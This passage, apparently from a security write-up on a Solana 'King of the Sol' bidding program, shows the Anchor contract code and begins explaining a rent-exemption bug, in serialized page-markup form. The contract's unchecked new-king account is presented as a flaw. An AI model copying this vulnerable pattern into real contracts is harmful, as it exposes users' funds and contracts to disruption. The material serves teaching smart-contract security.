AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[73054],{"type":23,"tag":71,"props":73055,"children":73056},{"__ignoreMap":7},[73057,73072,73100,73115,73156,73163,73171,73222,73253,73260,73268,73283,73315,73322,73337,73368,73375,73382,73390,73407,73481,73489,73550,73562,73590,73630,73642,73658,73665,73673,73747,73759,73798,73826,73838,73853,73860,73868,73938,73982,74056,74063,74074,74081],{"type":23,"tag":230,"props":73058,"children":73059},{"class":232,"line":233},[73060,73064,73068],{"type":23,"tag":230,"props":73061,"children":73062},{"style":274},[73063],{"type":29,"value":25152},{"type":23,"tag":230,"props":73065,"children":73066},{"style":676},[73067],{"type":29,"value":25157},{"type":23,"tag":230,"props":73069,"children":73070},{"style":274},[73071],{"type":29,"value":22573},{"type":23,"tag":230,"props":73073,"children":73074},{"class":232,"line":243},[73075,73079,73083,73088,73092,73096],{"type":23,"tag":230,"props":73076,"children":73077},{"style":256},[73078],{"type":29,"value":16017},{"type":23,"tag":230,"props":73080,"children":73081},{"style":256},[73082],{"type":29,"value":23465},{"type":23,"tag":230,"props":73084,"children":73085},{"style":676},[73086],{"type":29,"value":73087}," ChangeKing",{"type":23,"tag":230,"props":73089,"children":73090},{"style":274},[73091],{"type":29,"value":25237},{"type":23,"tag":230,"props":73093,"children":73094},{"style":676},[73095],{"type":29,"value":25242},{"type":23,"tag":230,"props":73097,"children":73098},{"style":274},[73099],{"type":29,"value":9617},{"type":23,"tag":230,"props":73101,"children":73102},{"class":232,"line":252},[73103,73107,73111],{"type":23,"tag":230,"props":73104,"children":73105},{"style":274},[73106],{"type":29,"value":25444},{"type":23,"tag":230,"props":73108,"children":73109},{"style":256},[73110],{"type":29,"value":6059},{"type":23,"tag":230,"props":73112,"children":73113},{"style":274},[73114],{"type":29,"value":22573},{"type":23,"tag":230,"props":73116,"children":73117},{"class":232,"line":280},[73118,73122,73127,73131,73135,73139,73143,73147,73152],{"type":23,"tag":230,"props":73119,"children":73120},{"style":256},[73121],{"type":29,"value":23158},{"type":23,"tag":230,"props":73123,"children":73124},{"style":262},[73125],{"type":29,"value":73126}," throne",{"type":23,"tag":230,"props":73128,"children":73129},{"style":268},[73130],{"type":29,"value":218},{"type":23,"tag":230,"props":73132,"children":73133},{"style":676},[73134],{"type":29,"value":25409},{"type":23,"tag":230,"props":73136,"children":73137},{"style":274},[73138],{"type":29,"value":25237},{"type":23,"tag":230,"props":73140,"children":73141},{"style":676},[73142],{"type":29,"value":25242},{"type":23,"tag":230,"props":73144,"children":73145},{"style":274},[73146],{"type":29,"value":684},{"type":23,"tag":230,"props":73148,"children":73149},{"style":676},[73150],{"type":29,"value":73151},"Throne",{"type":23,"tag":230,"props":73153,"children":73154},{"style":274},[73155],{"type":29,"value":8475},{"type":23,"tag":230,"props":73157,"children":73158},{"class":232,"line":334},[73159],{"type":23,"tag":230,"props":73160,"children":73161},{"emptyLinePlaceholder":18},[73162],{"type":29,"value":459},{"type":23,"tag":230,"props":73164,"children":73165},{"class":232,"line":371},[73166],{"type":23,"tag":230,"props":73167,"children":73168},{"style":237},[73169],{"type":29,"value":73170},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":230,"props":73172,"children":73173},{"class":232,"line":391},[73174,73178,73182,73187,73191,73196,73200,73205,73209,73213,73217],{"type":23,"tag":230,"props":73175,"children":73176},{"style":274},[73177],{"type":29,"value":25444},{"type":23,"tag":230,"props":73179,"children":73180},{"style":256},[73181],{"type":29,"value":6059},{"type":23,"tag":230,"props":73183,"children":73184},{"style":274},[73185],{"type":29,"value":73186},", constraint ",{"type":23,"tag":230,"props":73188,"children":73189},{"style":268},[73190],{"type":29,"value":863},{"type":23,"tag":230,"props":73192,"children":73193},{"style":274},[73194],{"type":29,"value":73195}," old_king",{"type":23,"tag":230,"props":73197,"children":73198},{"style":268},[73199],{"type":29,"value":312},{"type":23,"tag":230,"props":73201,"children":73202},{"style":274},[73203],{"type":29,"value":73204},"key() ",{"type":23,"tag":230,"props":73206,"children":73207},{"style":268},[73208],{"type":29,"value":10911},{"type":23,"tag":230,"props":73210,"children":73211},{"style":274},[73212],{"type":29,"value":73126},{"type":23,"tag":230,"props":73214,"children":73215},{"style":268},[73216],{"type":29,"value":312},{"type":23,"tag":230,"props":73218,"children":73219},{"style":274},[73220],{"type":29,"value":73221},"king)]\n",{"type":23,"tag":230,"props":73223,"children":73224},{"class":232,"line":400},[73225,73229,73233,73237,73241,73245,73249],{"type":23,"tag":230,"props":73226,"children":73227},{"style":256},[73228],{"type":29,"value":23158},{"type":23,"tag":230,"props":73230,"children":73231},{"style":262},[73232],{"type":29,"value":73195},{"type":23,"tag":230,"props":73234,"children":73235},{"style":268},[73236],{"type":29,"value":218},{"type":23,"tag":230,"props":73238,"children":73239},{"style":676},[73240],{"type":29,"value":27705},{"type":23,"tag":230,"props":73242,"children":73243},{"style":274},[73244],{"type":29,"value":25237},{"type":23,"tag":230,"props":73246,"children":73247},{"style":676},[73248],{"type":29,"value":25242},{"type":23,"tag":230,"props":73250,"children":73251},{"style":274},[73252],{"type":29,"value":8475},{"type":23,"tag":230,"props":73254,"children":73255},{"class":232,"line":444},[73256],{"type":23,"tag":230,"props":73257,"children":73258},{"emptyLinePlaceholder":18},[73259],{"type":29,"value":459},{"type":23,"tag":230,"props":73261,"children":73262},{"class":232,"line":453},[73263],{"type":23,"tag":230,"props":73264,"children":73265},{"style":237},[73266],{"type":29,"value":73267},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":230,"props":73269,"children":73270},{"class":232,"line":462},[73271,73275,73279],{"type":23,"tag":230,"props":73272,"children":73273},{"style":274},[73274],{"type":29,"value":25444},{"type":23,"tag":230,"props":73276,"children":73277},{"style":256},[73278],{"type":29,"value":6059},{"type":23,"tag":230,"props":73280,"children":73281},{"style":274},[73282],{"type":29,"value":22573},{"type":23,"tag":230,"props":73284,"children":73285},{"class":232,"line":471},[73286,73290,73295,73299,73303,73307,73311],{"type":23,"tag":230,"props":73287,"children":73288},{"style":256},[73289],{"type":29,"value":23158},{"type":23,"tag":230,"props":73291,"children":73292},{"style":262},[73293],{"type":29,"value":73294}," new_king",{"type":23,"tag":230,"props":73296,"children":73297},{"style":268},[73298],{"type":29,"value":218},{"type":23,"tag":230,"props":73300,"children":73301},{"style":676},[73302],{"type":29,"value":27705},{"type":23,"tag":230,"props":73304,"children":73305},{"style":274},[73306],{"type":29,"value":25237},{"type":23,"tag":230,"props":73308,"children":73309},{"style":676},[73310],{"type":29,"value":25242},{"type":23,"tag":230,"props":73312,"children":73313},{"style":274},[73314],{"type":29,"value":8475},{"type":23,"tag":230,"props":73316,"children":73317},{"class":232,"line":500},[73318],{"type":23,"tag":230,"props":73319,"children":73320},{"emptyLinePlaceholder":18},[73321],{"type":29,"value":459},{"type":23,"tag":230,"props":73323,"children":73324},{"class":232,"line":514},[73325,73329,73333],{"type":23,"tag":230,"props":73326,"children":73327},{"style":274},[73328],{"type":29,"value":25444},{"type":23,"tag":230,"props":73330,"children":73331},{"style":256},[73332],{"type":29,"value":6059},{"type":23,"tag":230,"props":73334,"children":73335},{"style":274},[73336],{"type":29,"value":22573},{"type":23,"tag":230,"props":73338,"children":73339},{"class":232,"line":897},[73340,73344,73348,73352,73356,73360,73364],{"type":23,"tag":230,"props":73341,"children":73342},{"style":256},[73343],{"type":29,"value":23158},{"type":23,"tag":230,"props":73345,"children":73346},{"style":262},[73347],{"type":29,"value":44008},{"type":23,"tag":230,"props":73349,"children":73350},{"style":268},[73351],{"type":29,"value":218},{"type":23,"tag":230,"props":73353,"children":73354},{"style":676},[73355],{"type":29,"value":25473},{"type":23,"tag":230,"props":73357,"children":73358},{"style":274},[73359],{"type":29,"value":25237},{"type":23,"tag":230,"props":73361,"children":73362},{"style":676},[73363],{"type":29,"value":25242},{"type":23,"tag":230,"props":73365,"children":73366},{"style":274},[73367],{"type":29,"value":8475},{"type":23,"tag":230,"props":73369,"children":73370},{"class":232,"line":960},[73371],{"type":23,"tag":230,"props":73372,"children":73373},{"style":274},[73374],{"type":29,"value":975},{"type":23,"tag":230,"props":73376,"children":73377},{"class":232,"line":969},[73378],{"type":23,"tag":230,"props":73379,"children":73380},{"emptyLinePlaceholder":18},[73381],{"type":29,"value":459},{"type":23,"tag":230,"props":73383,"children":73384},{"class":232,"line":4526},[73385],{"type":23,"tag":230,"props":73386,"children":73387},{"style":274},[73388],{"type":29,"value":73389},"#[program]\n",{"type":23,"tag":230,"props":73391,"children":73392},{"class":232,"line":4534},[73393,73397,73402],{"type":23,"tag":230,"props":73394,"children":73395},{"style":256},[73396],{"type":29,"value":16017},{"type":23,"tag":230,"props":73398,"children":73399},{"style":256},[73400],{"type":29,"value":73401}," mod",{"type":23,"tag":230,"props":73403,"children":73404},{"style":274},[73405],{"type":29,"value":73406}," king_of_the_sol {\n",{"type":23,"tag":230,"props":73408,"children":73409},{"class":232,"line":4542},[73410,73414,73418,73423,73427,73431,73435,73439,73443,73448,73452,73457,73461,73465,73469,73473,73477],{"type":23,"tag":230,"props":73411,"children":73412},{"style":256},[73413],{"type":29,"value":23158},{"type":23,"tag":230,"props":73415,"children":73416},{"style":256},[73417],{"type":29,"value":16022},{"type":23,"tag":230,"props":73419,"children":73420},{"style":294},[73421],{"type":29,"value":73422}," change_king",{"type":23,"tag":230,"props":73424,"children":73425},{"style":274},[73426],{"type":29,"value":302},{"type":23,"tag":230,"props":73428,"children":73429},{"style":262},[73430],{"type":29,"value":22595},{"type":23,"tag":230,"props":73432,"children":73433},{"style":268},[73434],{"type":29,"value":218},{"type":23,"tag":230,"props":73436,"children":73437},{"style":676},[73438],{"type":29,"value":22604},{"type":23,"tag":230,"props":73440,"children":73441},{"style":274},[73442],{"type":29,"value":8143},{"type":23,"tag":230,"props":73444,"children":73445},{"style":676},[73446],{"type":29,"value":73447},"ChangeKing",{"type":23,"tag":230,"props":73449,"children":73450},{"style":274},[73451],{"type":29,"value":8967},{"type":23,"tag":230,"props":73453,"children":73454},{"style":262},[73455],{"type":29,"value":73456},"bid_amount",{"type":23,"tag":230,"props":73458,"children":73459},{"style":268},[73460],{"type":29,"value":218},{"type":23,"tag":230,"props":73462,"children":73463},{"style":676},[73464],{"type":29,"value":8197},{"type":23,"tag":230,"props":73466,"children":73467},{"style":274},[73468],{"type":29,"value":703},{"type":23,"tag":230,"props":73470,"children":73471},{"style":268},[73472],{"type":29,"value":16084},{"type":23,"tag":230,"props":73474,"children":73475},{"style":676},[73476],{"type":29,"value":16089},{"type":23,"tag":230,"props":73478,"children":73479},{"style":274},[73480],{"type":29,"value":22646},{"type":23,"tag":230,"props":73482,"children":73483},{"class":232,"line":4559},[73484],{"type":23,"tag":230,"props":73485,"children":73486},{"style":237},[73487],{"type":29,"value":73488},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":230,"props":73490,"children":73491},{"class":232,"line":4587},[73492,73496,73500,73504,73508,73512,73516,73520,73524,73529,73533,73538,73542,73546],{"type":23,"tag":230,"props":73493,"children":73494},{"style":294},[73495],{"type":29,"value":66223},{"type":23,"tag":230,"props":73497,"children":73498},{"style":274},[73499],{"type":29,"value":302},{"type":23,"tag":230,"props":73501,"children":73502},{"style":262},[73503],{"type":29,"value":73456},{"type":23,"tag":230,"props":73505,"children":73506},{"style":268},[73507],{"type":29,"value":10637},{"type":23,"tag":230,"props":73509,"children":73510},{"style":262},[73511],{"type":29,"value":28150},{"type":23,"tag":230,"props":73513,"children":73514},{"style":268},[73515],{"type":29,"value":312},{"type":23,"tag":230,"props":73517,"children":73518},{"style":274},[73519],{"type":29,"value":17002},{"type":23,"tag":230,"props":73521,"children":73522},{"style":268},[73523],{"type":29,"value":312},{"type":23,"tag":230,"props":73525,"children":73526},{"style":274},[73527],{"type":29,"value":73528},"throne",{"type":23,"tag":230,"props":73530,"children":73531},{"style":268},[73532],{"type":29,"value":312},{"type":23,"tag":230,"props":73534,"children":73535},{"style":274},[73536],{"type":29,"value":73537},"last_bid_amount ",{"type":23,"tag":230,"props":73539,"children":73540},{"style":268},[73541],{"type":29,"value":6909},{"type":23,"tag":230,"props":73543,"children":73544},{"style":5149},[73545],{"type":29,"value":10269},{"type":23,"tag":230,"props":73547,"children":73548},{"style":274},[73549],{"type":29,"value":753},{"type":23,"tag":230,"props":73551,"children":73552},{"class":232,"line":4595},[73553,73558],{"type":23,"tag":230,"props":73554,"children":73555},{"style":294},[73556],{"type":29,"value":73557},"        transfer_from_signer",{"type":23,"tag":230,"props":73559,"children":73560},{"style":274},[73561],{"type":29,"value":619},{"type":23,"tag":230,"props":73563,"children":73564},{"class":232,"line":4619},[73565,73569,73573,73577,73581,73585],{"type":23,"tag":230,"props":73566,"children":73567},{"style":268},[73568],{"type":29,"value":10021},{"type":23,"tag":230,"props":73570,"children":73571},{"style":262},[73572],{"type":29,"value":22595},{"type":23,"tag":230,"props":73574,"children":73575},{"style":268},[73576],{"type":29,"value":312},{"type":23,"tag":230,"props":73578,"children":73579},{"style":274},[73580],{"type":29,"value":17002},{"type":23,"tag":230,"props":73582,"children":73583},{"style":268},[73584],{"type":29,"value":312},{"type":23,"tag":230,"props":73586,"children":73587},{"style":274},[73588],{"type":29,"value":73589},"payer,\n",{"type":23,"tag":230,"props":73591,"children":73592},{"class":232,"line":4627},[73593,73597,73601,73605,73609,73613,73617,73621,73626],{"type":23,"tag":230,"props":73594,"children":73595},{"style":268},[73596],{"type":29,"value":10021},{"type":23,"tag":230,"props":73598,"children":73599},{"style":262},[73600],{"type":29,"value":22595},{"type":23,"tag":230,"props":73602,"children":73603},{"style":268},[73604],{"type":29,"value":312},{"type":23,"tag":230,"props":73606,"children":73607},{"style":274},[73608],{"type":29,"value":17002},{"type":23,"tag":230,"props":73610,"children":73611},{"style":268},[73612],{"type":29,"value":312},{"type":23,"tag":230,"props":73614,"children":73615},{"style":274},[73616],{"type":29,"value":73528},{"type":23,"tag":230,"props":73618,"children":73619},{"style":268},[73620],{"type":29,"value":312},{"type":23,"tag":230,"props":73622,"children":73623},{"style":294},[73624],{"type":29,"value":73625},"to_account_info",{"type":23,"tag":230,"props":73627,"children":73628},{"style":274},[73629],{"type":29,"value":5827},{"type":23,"tag":230,"props":73631,"children":73632},{"class":232,"line":4659},[73633,73638],{"type":23,"tag":230,"props":73634,"children":73635},{"style":262},[73636],{"type":29,"value":73637},"            bid_amount",{"type":23,"tag":230,"props":73639,"children":73640},{"style":274},[73641],{"type":29,"value":388},{"type":23,"tag":230,"props":73643,"children":73644},{"class":232,"line":4671},[73645,73650,73654],{"type":23,"tag":230,"props":73646,"children":73647},{"style":274},[73648],{"type":29,"value":73649},"        )",{"type":23,"tag":230,"props":73651,"children":73652},{"style":268},[73653],{"type":29,"value":5494},{"type":23,"tag":230,"props":73655,"children":73656},{"style":274},[73657],{"type":29,"value":511},{"type":23,"tag":230,"props":73659,"children":73660},{"class":232,"line":4688},[73661],{"type":23,"tag":230,"props":73662,"children":73663},{"emptyLinePlaceholder":18},[73664],{"type":29,"value":459},{"type":23,"tag":230,"props":73666,"children":73667},{"class":232,"line":4701},[73668],{"type":23,"tag":230,"props":73669,"children":73670},{"style":237},[73671],{"type":29,"value":73672},"        // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":230,"props":73674,"children":73675},{"class":232,"line":4724},[73676,73680,73685,73689,73693,73697,73701,73705,73709,73713,73717,73721,73725,73730,73734,73738,73743],{"type":23,"tag":230,"props":73677,"children":73678},{"style":256},[73679],{"type":29,"value":5404},{"type":23,"tag":230,"props":73681,"children":73682},{"style":262},[73683],{"type":29,"value":73684}," to_reimburse",{"type":23,"tag":230,"props":73686,"children":73687},{"style":268},[73688],{"type":29,"value":271},{"type":23,"tag":230,"props":73690,"children":73691},{"style":274},[73692],{"type":29,"value":664},{"type":23,"tag":230,"props":73694,"children":73695},{"style":262},[73696],{"type":29,"value":22595},{"type":23,"tag":230,"props":73698,"children":73699},{"style":268},[73700],{"type":29,"value":312},{"type":23,"tag":230,"props":73702,"children":73703},{"style":274},[73704],{"type":29,"value":17002},{"type":23,"tag":230,"props":73706,"children":73707},{"style":268},[73708],{"type":29,"value":312},{"type":23,"tag":230,"props":73710,"children":73711},{"style":274},[73712],{"type":29,"value":73528},{"type":23,"tag":230,"props":73714,"children":73715},{"style":268},[73716],{"type":29,"value":312},{"type":23,"tag":230,"props":73718,"children":73719},{"style":274},[73720],{"type":29,"value":73537},{"type":23,"tag":230,"props":73722,"children":73723},{"style":268},[73724],{"type":29,"value":6909},{"type":23,"tag":230,"props":73726,"children":73727},{"style":5149},[73728],{"type":29,"value":73729}," 9500",{"type":23,"tag":230,"props":73731,"children":73732},{"style":274},[73733],{"type":29,"value":703},{"type":23,"tag":230,"props":73735,"children":73736},{"style":268},[73737],{"type":29,"value":6919},{"type":23,"tag":230,"props":73739,"children":73740},{"style":5149},[73741],{"type":29,"value":73742}," 10000",{"type":23,"tag":230,"props":73744,"children":73745},{"style":274},[73746],{"type":29,"value":511},{"type":23,"tag":230,"props":73748,"children":73749},{"class":232,"line":4741},[73750,73755],{"type":23,"tag":230,"props":73751,"children":73752},{"style":294},[73753],{"type":29,"value":73754},"        transfer_from_pda",{"type":23,"tag":230,"props":73756,"children":73757},{"style":274},[73758],{"type":29,"value":619},{"type":23,"tag":230,"props":73760,"children":73761},{"class":232,"line":4759},[73762,73766,73770,73774,73778,73782,73786,73790,73794],{"type":23,"tag":230,"props":73763,"children":73764},{"style":268},[73765],{"type":29,"value":10021},{"type":23,"tag":230,"props":73767,"children":73768},{"style":262},[73769],{"type":29,"value":22595},{"type":23,"tag":230,"props":73771,"children":73772},{"style":268},[73773],{"type":29,"value":312},{"type":23,"tag":230,"props":73775,"children":73776},{"style":274},[73777],{"type":29,"value":17002},{"type":23,"tag":230,"props":73779,"children":73780},{"style":268},[73781],{"type":29,"value":312},{"type":23,"tag":230,"props":73783,"children":73784},{"style":274},[73785],{"type":29,"value":73528},{"type":23,"tag":230,"props":73787,"children":73788},{"style":268},[73789],{"type":29,"value":312},{"type":23,"tag":230,"props":73791,"children":73792},{"style":294},[73793],{"type":29,"value":73625},{"type":23,"tag":230,"props":73795,"children":73796},{"style":274},[73797],{"type":29,"value":5827},{"type":23,"tag":230,"props":73799,"children":73800},{"class":232,"line":4768},[73801,73805,73809,73813,73817,73821],{"type":23,"tag":230,"props":73802,"children":73803},{"style":268},[73804],{"type":29,"value":10021},{"type":23,"tag":230,"props":73806,"children":73807},{"style":262},[73808],{"type":29,"value":22595},{"type":23,"tag":230,"props":73810,"children":73811},{"style":268},[73812],{"type":29,"value":312},{"type":23,"tag":230,"props":73814,"children":73815},{"style":274},[73816],{"type":29,"value":17002},{"type":23,"tag":230,"props":73818,"children":73819},{"style":268},[73820],{"type":29,"value":312},{"type":23,"tag":230,"props":73822,"children":73823},{"style":274},[73824],{"type":29,"value":73825},"old_king,\n",{"type":23,"tag":230,"props":73827,"children":73828},{"class":232,"line":4776},[73829,73834],{"type":23,"tag":230,"props":73830,"children":73831},{"style":262},[73832],{"type":29,"value":73833},"            to_reimburse",{"type":23,"tag":230,"props":73835,"children":73836},{"style":274},[73837],{"type":29,"value":388},{"type":23,"tag":230,"props":73839,"children":73840},{"class":232,"line":4784},[73841,73845,73849],{"type":23,"tag":230,"props":73842,"children":73843},{"style":274},[73844],{"type":29,"value":73649},{"type":23,"tag":230,"props":73846,"children":73847},{"style":268},[73848],{"type":29,"value":5494},{"type":23,"tag":230,"props":73850,"children":73851},{"style":274},[73852],{"type":29,"value":511},{"type":23,"tag":230,"props":73854,"children":73855},{"class":232,"line":4792},[73856],{"type":23,"tag":230,"props":73857,"children":73858},{"emptyLinePlaceholder":18},[73859],{"type":29,"value":459},{"type":23,"tag":230,"props":73861,"children":73862},{"class":232,"line":4824},[73863],{"type":23,"tag":230,"props":73864,"children":73865},{"style":237},[73866],{"type":29,"value":73867},"        // Set new king\n",{"type":23,"tag":230,"props":73869,"children":73870},{"class":232,"line":4832},[73871,73875,73879,73883,73887,73891,73895,73900,73904,73908,73912,73916,73920,73925,73929,73934],{"type":23,"tag":230,"props":73872,"children":73873},{"style":262},[73874],{"type":29,"value":28493},{"type":23,"tag":230,"props":73876,"children":73877},{"style":268},[73878],{"type":29,"value":312},{"type":23,"tag":230,"props":73880,"children":73881},{"style":274},[73882],{"type":29,"value":17002},{"type":23,"tag":230,"props":73884,"children":73885},{"style":268},[73886],{"type":29,"value":312},{"type":23,"tag":230,"props":73888,"children":73889},{"style":274},[73890],{"type":29,"value":73528},{"type":23,"tag":230,"props":73892,"children":73893},{"style":268},[73894],{"type":29,"value":312},{"type":23,"tag":230,"props":73896,"children":73897},{"style":274},[73898],{"type":29,"value":73899},"king ",{"type":23,"tag":230,"props":73901,"children":73902},{"style":268},[73903],{"type":29,"value":863},{"type":23,"tag":230,"props":73905,"children":73906},{"style":262},[73907],{"type":29,"value":28150},{"type":23,"tag":230,"props":73909,"children":73910},{"style":268},[73911],{"type":29,"value":312},{"type":23,"tag":230,"props":73913,"children":73914},{"style":274},[73915],{"type":29,"value":17002},{"type":23,"tag":230,"props":73917,"children":73918},{"style":268},[73919],{"type":29,"value":312},{"type":23,"tag":230,"props":73921,"children":73922},{"style":274},[73923],{"type":29,"value":73924},"new_king",{"type":23,"tag":230,"props":73926,"children":73927},{"style":268},[73928],{"type":29,"value":312},{"type":23,"tag":230,"props":73930,"children":73931},{"style":294},[73932],{"type":29,"value":73933},"key",{"type":23,"tag":230,"props":73935,"children":73936},{"style":274},[73937],{"type":29,"value":2140},{"type":23,"tag":230,"props":73939,"children":73940},{"class":232,"line":4840},[73941,73945,73949,73953,73957,73961,73965,73969,73973,73978],{"type":23,"tag":230,"props":73942,"children":73943},{"style":262},[73944],{"type":29,"value":28493},{"type":23,"tag":230,"props":73946,"children":73947},{"style":268},[73948],{"type":29,"value":312},{"type":23,"tag":230,"props":73950,"children":73951},{"style":274},[73952],{"type":29,"value":17002},{"type":23,"tag":230,"props":73954,"children":73955},{"style":268},[73956],{"type":29,"value":312},{"type":23,"tag":230,"props":73958,"children":73959},{"style":274},[73960],{"type":29,"value":73528},{"type":23,"tag":230,"props":73962,"children":73963},{"style":268},[73964],{"type":29,"value":312},{"type":23,"tag":230,"props":73966,"children":73967},{"style":274},[73968],{"type":29,"value":73537},{"type":23,"tag":230,"props":73970,"children":73971},{"style":268},[73972],{"type":29,"value":863},{"type":23,"tag":230,"props":73974,"children":73975},{"style":262},[73976],{"type":29,"value":73977}," bid_amount",{"type":23,"tag":230,"props":73979,"children":73980},{"style":274},[73981],{"type":29,"value":511},{"type":23,"tag":230,"props":73983,"children":73984},{"class":232,"line":4901},[73985,73989,73993,73997,74001,74005,74009,74014,74018,74023,74027,74031,74035,74039,74044,74048,74052],{"type":23,"tag":230,"props":73986,"children":73987},{"style":262},[73988],{"type":29,"value":28493},{"type":23,"tag":230,"props":73990,"children":73991},{"style":268},[73992],{"type":29,"value":312},{"type":23,"tag":230,"props":73994,"children":73995},{"style":274},[73996],{"type":29,"value":17002},{"type":23,"tag":230,"props":73998,"children":73999},{"style":268},[74000],{"type":29,"value":312},{"type":23,"tag":230,"props":74002,"children":74003},{"style":274},[74004],{"type":29,"value":73528},{"type":23,"tag":230,"props":74006,"children":74007},{"style":268},[74008],{"type":29,"value":312},{"type":23,"tag":230,"props":74010,"children":74011},{"style":274},[74012],{"type":29,"value":74013},"last_time ",{"type":23,"tag":230,"props":74015,"children":74016},{"style":268},[74017],{"type":29,"value":863},{"type":23,"tag":230,"props":74019,"children":74020},{"style":676},[74021],{"type":29,"value":74022}," Clock",{"type":23,"tag":230,"props":74024,"children":74025},{"style":268},[74026],{"type":29,"value":5818},{"type":23,"tag":230,"props":74028,"children":74029},{"style":294},[74030],{"type":29,"value":18676},{"type":23,"tag":230,"props":74032,"children":74033},{"style":274},[74034],{"type":29,"value":16206},{"type":23,"tag":230,"props":74036,"children":74037},{"style":268},[74038],{"type":29,"value":5472},{"type":23,"tag":230,"props":74040,"children":74041},{"style":274},[74042],{"type":29,"value":74043},"unix_timestamp ",{"type":23,"tag":230,"props":74045,"children":74046},{"style":256},[74047],{"type":29,"value":4343},{"type":23,"tag":230,"props":74049,"children":74050},{"style":676},[74051],{"type":29,"value":8197},{"type":23,"tag":230,"props":74053,"children":74054},{"style":274},[74055],{"type":29,"value":511},{"type":23,"tag":230,"props":74057,"children":74058},{"class":232,"line":4909},[74059],{"type":23,"tag":230,"props":74060,"children":74061},{"emptyLinePlaceholder":18},[74062],{"type":29,"value":459},{"type":23,"tag":230,"props":74064,"children":74065},{"class":232,"line":4938},[74066,74070],{"type":23,"tag":230,"props":74067,"children":74068},{"style":676},[74069],{"type":29,"value":17138},{"type":23,"tag":230,"props":74071,"children":74072},{"style":274},[74073],{"type":29,"value":16665},{"type":23,"tag":230,"props":74075,"children":74076},{"class":232,"line":4957},[74077],{"type":23,"tag":230,"props":74078,"children":74079},{"style":274},[74080],{"type":29,"value":1552},{"type":23,"tag":230,"props":74082,"children":74083},{"class":232,"line":4973},[74084],{"type":23,"tag":230,"props":74085,"children":74086},{"style":274},[74087],{"type":29,"value":975},{"type":23,"tag":32,"props":74089,"children":74090},{},[74091],{"type":29,"value":74092},"Note this comment:",{"type":23,"tag":5272,"props":74094,"children":74095},{},[74096],{"type":23,"tag":32,"props":74097,"children":74098},{},[74099],{"type":29,"value":74100},"any writable account is allowed as a new king.",{"type":23,"tag":32,"props":74102,"children":74103},{},[74104],{"type":29,"value":74105},"...Is our assumption correct?",{"type":23,"tag":24,"props":74107,"children":74109},{"id":74108},"the-bugs-lurking-beneath",[74110],{"type":29,"value":74111},"The Bugs Lurking Beneath",{"type":23,"tag":59,"props":74113,"children":74115},{"id":74114},"bug-1-the-rent-exemption-trap",[74116],{"type":29,"value":74117},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":32,"props":74119,"children":74120},{},[74121,74123,74128],{"type":29,"value":74122},"On Solana, all accounts must maintain a ",{"type":23,"tag":2302,"props":74124,"children":74125},{},[74126],{"type":29,"value":74127},"minimum balance",{"type":29,"value":74129}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":98,"props":74131,"children":74132},{},[74133,74148],{"type":23,"tag":102,"props":74134,"children":74135},{},[74136,74141,74142],{"type":23,"tag":2302,"props":74137,"children":74138},{},[74139],{"type":29,"value":74140},"Uninitialized",{"type":29,"value":817},{"type":23,"tag":71,"props":74143,"children":74145},{"className":74144},[],[74146],{"type":29,"value":74147},"lamports = 0",{"type":23,"tag":102,"props":74149,"children":74150},{},[74151,74156,74157],{"type":23,"tag":2302,"props":74152,"children":74153},{},[74154],{"type":29,"value":74155},"Initialized",{"type":29,"value":817},{"type":23,"tag":71,"props":74158,"children":74160},{"className":74159},[],[74161],{"type":29,"value":74162},"lamports >= rent-exempt threshold",{"type":23,"tag":32,"props":74164,"children":74165},{},[74166,74168,74173],{"type":29,"value":74167},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":2302,"props":74169,"children":74170},{},[74171],{"type":29,"value":74172},"account metadata",{"type":29,"value":74174}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":32,"props":74176,"children":74177},{},[74178,74180,74186],{"type":29,"value":74179},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":71,"props":74181,"children":74183},{"className":74182},[],[74184],{"type":29,"value":74185},"data.len() == 0",{"type":29,"value":74187}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":32,"props":74189,"children":74190},{},[74191,74193,74199],{"type":29,"value":74192},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":181,"props":74194,"children":74197},{"href":74195,"rel":74196},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[185],[74198],{"type":29,"value":49356},{"type":29,"value":312},{"type":23,"tag":220,"props":74201,"children":74203},{"className":5320,"code":74202,"language":5319,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n  